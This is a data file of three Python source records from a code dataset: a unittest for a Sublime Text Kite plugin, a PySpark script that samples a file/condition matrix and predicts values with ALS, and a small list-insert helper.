+{"seq_id":"469904454","text":"import sys\nimport unittest\n\nif sys.version_info[0] >= 3:\n from unittest.mock import patch, Mock\nelse:\n from mock import patch, Mock\n\nif sys.version_info[0] >= 3:\n SUBLIME_VERSION = 3\nelse:\n SUBLIME_VERSION = 2\n\n\nclass View(object):\n \"\"\"No need to mock this one because it is simpler just to do explicitly.\n \"\"\"\n\n def __init__(self, contents):\n self.contents = contents\n\n def substr(self, region):\n return self.contents[region.begin:region.end]\n\n\nclass Region(object):\n \"\"\"No need to mock this one because it is simpler just to do explicitly.\n \"\"\"\n\n def __init__(self, begin, end):\n self.begin = begin\n self.end = end\n\n\nclass Selection(object):\n \"\"\"No need to mock this one because it is simpler just to do explicitly.\n \"\"\"\n\n def __init__(self, a, b):\n self.a = a\n self.b = b\n\n\nclass EventListener(object):\n \"\"\"do not mock this or else SublimeKite will also end up as a mock\n \"\"\"\n pass\n\n\ndef make_view(contents, cursor, selection_to=None, path=\"/src/code.py\", index=(0, 0)): # noqa\n \"\"\"Creates a mock for a sublime view\n \"\"\"\n\n if selection_to is None:\n selection_to = cursor\n\n window = Mock(name=\"window\")\n window.get_view_index = Mock(return_value=index)\n\n view = Mock(name=\"view\")\n view.substr = Mock(return_value=contents)\n view.file_name = Mock(return_value=path)\n view.window = Mock(return_value=window)\n view.sel = Mock(return_value=[Selection(cursor, selection_to)])\n view.size = Mock(return_value=len(contents))\n\n return view\n\n\nclass TestCase(unittest.TestCase):\n def setUp(self):\n # for testing assume that python2 implies sublime2, python3 implies sublime3\n self.sublime = Mock()\n self.sublime.Region = Region\n self.sublime.version = Mock(return_value=str(SUBLIME_VERSION))\n\n self.sublime_plugin = Mock()\n self.sublime_plugin.EventListener = EventListener\n\n def test_selection_event(self):\n contents = \"buffer contents\"\n\n # make sure \"sublime\" and \"sublime_plugin\" are importable\n with patch.dict(\"sys.modules\", sublime=self.sublime, sublime_plugin=self.sublime_plugin): # noqa\n # now that the package-level mocks are registered we can import SublimeKite\n import SublimeKite\n\n # avoid starting the real event loop\n with patch.object(SublimeKite.SublimeKite, \"__init__\", return_value=None): # noqa\n # avoid filesystem calls\n SublimeKite.realpath = lambda s: s\n\n # capture pushes to the event queue\n SublimeKite.SublimeKite._event_queue = Mock()\n\n # instantiate the plugin\n plugin = SublimeKite.SublimeKite()\n\n # call the on_modified callback with a mock view\n plugin.on_modified(make_view(contents, 3))\n\n # test that the right event was generated\n expected = {\n 'source': \"sublime%d\" % SUBLIME_VERSION,\n 'action': \"edit\",\n 'filename': \"/src/code.py\",\n 'selections': [{\"start\": 3, \"end\": 3}],\n 'text': contents,\n 'pluginId': '',\n }\n\n SublimeKite.SublimeKite._event_queue.put.assert_called_once_with(expected, block=False) # noqa\n","sub_path":"sublime-text/SublimeKite_test.py","file_name":"SublimeKite_test.py","file_ext":"py","file_size_in_byte":3383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"463546363","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function, division\nfrom argparse import ArgumentParser,SUPPRESS\nimport os, shutil, sys\nif sys.version >= '3':\n long = int\nfrom pyspark import SparkConf, SparkContext\nfrom pyspark.sql import SparkSession, Row\nfrom pyspark.ml.evaluation import RegressionEvaluator\nfrom pyspark.ml.recommendation import ALS\nimport random as rn\nfrom random import random, randint, sample, randrange\nfrom collections import Counter \nfrom pyspark.sql import functions as F\nimport pandas as pd\nimport numpy as np\ndef compute_accuracy(predictions_list,file_mean):\n right_predictions = 0.0\n correct_pure_predic = 0.0\n for line in predictions_list:\n for f_mean in file_mean:\n if (line[2]==line[3] and line[0]==f_mean[0]):\n if (f_mean[1] not in (0,1)):\n correct_pure_predic += 1\n if (line[2]==line[3]):\n right_predictions += 1\n acc = right_predictions / len(predictions_list)\n pure_acc = correct_pure_predic / len(predictions_list)\n return (acc,pure_acc)\ndef sens_spec(predictions_list):\n TP=TN=FP=FN = 0\n for line in predictions_list:\n if (line[2]==line[3]):\n if (line[3]==1):\n TP += 1\n else:\n TN += 1\n elif (line[3]==1):\n FP += 1\n else : \n FN += 1\n sens = TP/(TP+FN)\n spec = TN/(TN+FP)\n return(sens, spec)\ndef compute_accuracy_dummy(line_list):\n number_of_ones = 0.1\n for line in line_list:\n if(int(line[2])==1):\n number_of_ones += 1\n ratio_of_ones = number_of_ones / len(line_list)\n return max(ratio_of_ones, 1-ratio_of_ones)\n\ndef is_binary_matrix(lines):\n for line in lines:\n if line[2]!=0 and line[2]!=1:\n return False\n return True\n\ndef round_values(line_list):\n return [ [x[0], x[1], x[2], int(round(x[3]))] for x in line_list]\n\ndef create_dataframe_from_line_list(sc, ss, line_list, mode):\n if mode == True: #training dataframe\n rdd=sc.parallelize(line_list).map(lambda line:Row(ordered_file_id=long(line[3]),subject=long(line[1]), val=long(line[2]), row_file_index=long(line[0])))\n else: #test dataframe # there is a prediction on the 3rd column\n rdd=sc.parallelize(line_list).map(lambda line:Row(ordered_file_id=long(line[0]), subject=long(line[1]), val=long(line[2]), prediction=float(line[3])))\n return ss.createDataFrame(rdd)\ndef write_matrix(line,matrix_name):\n for i in range (0,len(line)):\n matrix_name.write(str(line[i]))\n if i != len(line)-1:\n matrix_name.write(\";\")\n matrix_name.write(\"\\n\")\n# Find the max number of conditions and files\ndef n_columns_files(line_list):\n max_col_id = 0\n max_file_id = 0\n for line in line_list:\n if line[1] > max_col_id:\n max_col_id = line[1]\n if line[0] > max_file_id:\n max_file_id = line[0]\n return max_col_id + 1, max_file_id + 1\n\ndef get_number_of_files_to_training(n_files ,n_subject, training_ratio, n_last_file, sampling_method): # Calculate the num of files to be fitted into training set from each subject in diagnoal and triangular random methods\n if sampling_method in (\"triangular-L\",\"triangular-S\") and training_ratio <= 1/3:\n sampling_method = \"diagnoal\"\n for i in range(0, n_subject):\n if sampling_method == \"diagnoal\":\n if training_ratio <= 0.5:\n if(rn.random() <= 2*training_ratio):\n n_last_file[i] = rn.randrange(0, n_files, 1)\n else:\n n_last_file[i] = 0\n else:\n n_last_file[i] = rn.randrange(int(round(2*training_ratio*n_files))-n_files, n_files, 1)\n else:\n if sampling_method == \"triangular-L\" and training_ratio > 1/3:\n a = (n_files*((3 * training_ratio)-1))/2\n b = a \n elif sampling_method == \"triangular-S\" and training_ratio > 1/3:\n a = 0\n b = min(n_files,((3 * training_ratio * n_files) - n_files))\n n_last_file[i]=np.random.triangular(a, b, n_files)\n return n_last_file\n\ndef put_files_into_training(n_last_file, lines,shuffled_subject,training, training_matrix):\n for i in range (1,len(shuffled_subject)):\n for line in lines:\n if line[3] <= n_last_file[i-1] and line[1] == shuffled_subject[i]:\n if line not in training:\n training.append(line)\n write_matrix(line,training_matrix)\ndef random_split_2D(lines, training_ratio, max_diff, sampling_method):\n training = [] # this will contain the training set\n test = [] # this will contain the test set\n n_subject, n_files = n_columns_files(lines)\n training_matrix = open(sampling_method+\"_\"+str(training_ratio)+\"_training_matrix.txt\",\"w+\")\n # Random selection of a subject (column) in advance then\n # pick that subject for every file of the condition, put it in training\n # and also pick first file for every subject, put it in training\n ran_subject_order = list(range(0,n_subject))\n shuffled_subject = rn.sample(ran_subject_order,n_subject)\n first_ran_subject = shuffled_subject[0]\n print(\" shuffled list of subjects:\", shuffled_subject) \n \n target_training_size = training_ratio * len(lines)\n for line in lines: # add the lines corresponding to the first file or the first subject\n if line[3] == 0 or line[1] == first_ran_subject: \n assert(line not in training) # something wrong happened with the determination of subject_id and file_index\n training.append(line)\n write_matrix(line, training_matrix)\n subject_id = 1\n file_index = 0\n\n # used in random-real sampling method in the while loop below\n next_file = []\n n_last_file = [] # in diagnoal mode records the number of selected files for the subject according to the formula (to be used for semetrycal purpose\n p=0\n for c in range(0,n_subject):\n n_last_file.append(0)\n print (\"n_files: \", n_files,\"n_subject:\", n_subject) \n for i in range(0, n_subject):\n next_file.append(1)\n while(len(training) < target_training_size):\n n_line_add = 0 \n assert(sampling_method in [\"random-unreal\", \"columns\", \"rows\", \"random-real\", \"diagnoal\", \"triangular-L\", \"triangular-S\"]), \"Unknown sampling method: {0}\".format(sampling_method)\n\n if sampling_method in {\"diagnoal\", \"triangular-L\", \"triangular-S\"}:\n get_number_of_files_to_training (n_files, n_subject, training_ratio, n_last_file, sampling_method)\n put_files_into_training (n_last_file, lines, shuffled_subject,training,training_matrix)\n break\n elif sampling_method == \"random-unreal\":\n subject_id = randrange(0, n_subject)\n file_index = randrange(0, n_files)\n elif sampling_method == \"columns\":\n file_index += 1\n if file_index == n_files:\n subject_id += 1\n file_index = 1\n elif sampling_method == \"rows\":\n subject_id += 1\n if subject_id == n_subject:\n file_index +=1\n subject_id = 1\n elif sampling_method == \"random-real\":\n subject_id = randrange(1, n_subject)\n if next_file[subject_id] <= n_files:\n file_index = next_file[subject_id]\n next_file[subject_id] +=1\n else:\n print(\"Subject id {0} is already fully sampled, looking for another one\".format(subject_id))\n\n if (file_index < n_files and subject_id < n_subject):\n assert(file_index < n_files and subject_id < n_subject), \"File index or subject index is out of bound!\" # This should never happen\n for line in lines:\n if line[3] == file_index and line[1] == shuffled_subject[subject_id]:\n # assert(line not in training), \"File {0} of subject {1} is already in the training set\".format(line[1], line[4]) # something wrong happened with the determination of subject_id and file_index\n if line not in training:\n training.append(line)\n write_matrix (line, training_matrix)\n break\n print(\"Training size is {0}\".format(len(training)))\n\n # Every line which is not in training should go to test\n for line in lines:\n if line not in training:\n test.append(line)\n effective_training_ratio = len(training)/(float(len(lines)))\n print(\"Training ratio:\\n * Target: {0}\\n * Effective: {1}\".format(training_ratio, effective_training_ratio))\n if (sampling_method not in (\"diagnoal\", \"triangular-L\", \"triangular-S\")):\n assert(abs(effective_training_ratio-training_ratio)<max_diff), \"Effective and target training ratios differed by more than {0}\".format(max_diff) # TODO: think about this threshold\n return training, test\n\ndef random_split(lines, training_ratio, max_diff):\n training = []\n test = []\n n_cond, n_files = n_columns_files(lines)\n n_overrides = 0 \n\n # pick one condition for every file, put it in training\n picked_conditions = {}\n for file_id in range(0, n_files):\n picked_conditions[file_id] = randint(0, n_cond-1)\n for line in lines:\n file_id = line[0]\n condition_id = line[1]\n if picked_conditions[file_id] == condition_id:\n training.append(line)\n\n # training now has n_files elements\n updated_training_ratio = (training_ratio*len(lines)-n_files)/(float(len(lines)-n_files))\n print(\"updated_training_ratio=\", updated_training_ratio)\n assert(updated_training_ratio >= 0), \"Training ratio is too small.\"\n\n # do the random sampling using new_ratio\n for line in lines:\n if line in training:\n continue\n file_id, cond_id, value = line[0], line[1], line[2]\n if random() < updated_training_ratio:\n training.append(line)\n else:\n test.append(line)\n effective_training_ratio = len(training)/(float(len(lines)))\n print(\"Training ratio:\\n * Target: {0}\\n * Effective: {1}\".format(training_ratio, effective_training_ratio))\n assert(abs(effective_training_ratio-training_ratio)<max_diff), \"Effective and target training ratios differed by more than {0}\".format(max_diff) # TODO: think about this threshold\n return training, test\n\ndef write_line_list_to_text_file(line_list, file_name):\n with open(file_name, 'w') as f:\n for line in line_list:\n f.write(\"{0};{1};{2};{3}\\n\".format(line[0],line[1],line[2],line[3]))\n\ndef write_dataframe_to_text_file(df, file_path, overwrite=True):\n if os.path.exists(file_path) and overwrite:\n if os.path.isdir(file_path):\n shutil.rmtree(file_path)\n else:\n os.remove(file_path)\n df.write.format(\"com.databricks.spark.csv\").option(\"header\", \"true\").save(\"file://\"+os.path.abspath(file_path))\n\ndef parse_file(file_path):\n lines = []\n with open(file_path, 'r') as f:\n for line in f:\n elements = line.split(\";\")\n lines.append([int(elements[0]), int(elements[1]), int(elements[2]), int(elements[3])])\n return lines\n\ndef main(args=None):\n # Use argparse to get arguments of your script:\n parser = ArgumentParser(\"predict\")\n parser.add_argument(\"matrix_file\", action=\"store\",\n help=\"The matrix file produced by verifyFiles. Each line must be formated as '<file_id>;<condition_id>;<value>'.\")\n parser.add_argument(\"training_ratio\", action=\"store\", type=float,\n help=\"The ratio of matrix elements that will be added to the training set. Has to be in [0,1].\")\n parser.add_argument(\"--predictions\", \"-p\", action=\"store\",\n help=\"Text file where the predictions will be stored.\")\n parser.add_argument(\"--random-ratio-error\", \"-r\", action=\"store\", type=float, default=0.01,\n help=\"Maximum acceptable difference between target and effective training ratios. Defaults to 0.01.\")\n parser.add_argument(\"sampling_method\", action=\"store\", \n help=\"Sampling method to use to build the training set.\")\n parser.add_argument(\"--seed_number\",\"-s\",\n help=\"set seed number\")\n results = parser.parse_args() if args is None else parser.parse_args(args) \n assert(results.training_ratio <=1 and results.training_ratio >=0), \"Training ratio has to be in [0,1].\"\n # matrix file path, split fraction, all the ALS parameters (with default values)\n # see sim package on github\n try:\n seed = int(results.seed_number)\n rn.seed(seed)\n np.random.seed(seed)\n except:\n print(\"No seed\")\n\n conf = SparkConf().setAppName(\"predict\").setMaster(\"local\")\n sc = SparkContext(conf=conf)\n spark = SparkSession.builder.appName(\"ALS_session\").getOrCreate()\n lines = parse_file(results.matrix_file)\n assert(len(lines) > 0), \"Matrix file is empty\"\n #training, test = random_split(lines, results.training_ratio, results.random_ratio_error)\n training, test = random_split_2D(lines, results.training_ratio, results.random_ratio_error, results.sampling_method)\n training_df = create_dataframe_from_line_list(sc,spark,training, True)\n subject_mean_training = training_df.groupBy('subject').agg(F.avg(training_df.val).alias(\"subject_mean\"))\n file_mean_training = training_df.groupBy('ordered_file_id').agg(F.avg(training_df.val).alias(\"file_mean\")) #If it's 1 or 0 means it's complete 1 or zero. \n training_fin = training_df.join(subject_mean_training, ['subject']).join(file_mean_training, ['ordered_file_id'])\n global_mean_training = training_df.groupBy().agg(F.avg(training_df.val).alias(\"global_mean\"))\n global_mean = global_mean_training.collect()[0][0]\n print (\"global_mean\", global_mean)\n training_fin = training_fin.withColumn('interaction', (training_fin['val'] - (training_fin['subject_mean'] + training_fin['file_mean']- global_mean)))\n test_df = create_dataframe_from_line_list(sc,spark,test, True)\n # Building recommendation model by use of ALS on the training set\n als = ALS(maxIter=5, regParam=0.01, userCol=\"subject\", itemCol=\"ordered_file_id\", ratingCol=\"interaction\")\n try:\n als.setSeed(seed)\n model = als.fit(training_fin)\n except:\n model = als.fit(training_fin)\n\n # Assess the model \n predictions = model.transform(test_df)\n predictions_fin = predictions.join(subject_mean_training, ['subject']).join(file_mean_training, ['ordered_file_id'])\n #predictions_fin = predictions_fin.withColumn('fin_val', predictions_fin['prediction'] + training_fin['subject_mean'] + training_fin['file_mean'] - global_mean)\n predictions_fin = predictions_fin.withColumn('fin_val', training_fin['subject_mean'] + training_fin['file_mean'] - global_mean) # removed prediction (just bias)\n if is_binary_matrix(lines): # assess the model\n # prediction will be rounded to closest integer\n # TODO: check how the rounding can be done directly with the dataframe, to avoid converting to list\n predictions_list = predictions_fin.rdd.map(lambda row: [ row.ordered_file_id, row.subject,\n row.val, row.fin_val]).collect()\n predictions_list =round_values(predictions_list)\n test_data_matrix = open(results.sampling_method+\"_\"+str(results.training_ratio)+\"_test_data_matrix.txt\",\"w+\")\n for i in range (len(predictions_list)):\n write_matrix(predictions_list[i],test_data_matrix)\n file_mean_list = file_mean_training.rdd.map(lambda row: [row.ordered_file_id, row.file_mean]).collect()# a list from file_mean to add the end of predictions list\n accuracy, pure_accuracy = compute_accuracy(predictions_list, file_mean_list)\n sensitivity, specificity = sens_spec(predictions_list)\n print(\"Accuracy = \" + str(accuracy))\n print(\"Accuracy ignores constant files = \" + str(pure_accuracy))\n print(\"Sensitivity = \" + str(sensitivity))\n print(\"Specificity = \" + str(specificity))\n print(\"Accuracy of dummy classifier = \" + str(compute_accuracy_dummy(lines)))\n predictions = create_dataframe_from_line_list(sc, spark, predictions_list, False)\n df_calcul_accuracy=predictions.join(file_mean_training,['ordered_file_id'])\n predictions.toPandas().to_csv('prediction.csv')\n #else: # Assess model by use of RMSE on the test data\n evaluator = RegressionEvaluator(metricName=\"rmse\", labelCol=\"val\", predictionCol=\"fin_val\")\n rmse = evaluator.evaluate(predictions_fin)\n print(\"RMSE = \" + str(rmse))\n \n if results.predictions:\n write_dataframe_to_text_file(predictions, results.predictions) \nif __name__ =='__main__':\n main() \n","sub_path":"reprotools/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":16883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"541266648","text":"# -*- coding: utf-8 -*-\n# author: jonathantvrs\n\ndef finsert(l, pos, element):\n \"\"\"Returns the list with new element added at\n the defined position. \n\n Add element to the end of the list and sort it\n to be in the position indicated.\n\n Parameters\n ----------\n l : list\n list where element will be added\n pos : int\n position that will be inserted\n element : int\n element that will be inserted \n \n Return\n ------\n l : list\n list updated with new element\n \"\"\"\n l.append(element)\n for i in range(len(l) - 1, pos, -1):\n l[i], l[i - 1] = l[i - 1], l[i]\n\n return l\n","sub_path":"Prohibited Functions/InsertImpl.py","file_name":"InsertImpl.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"}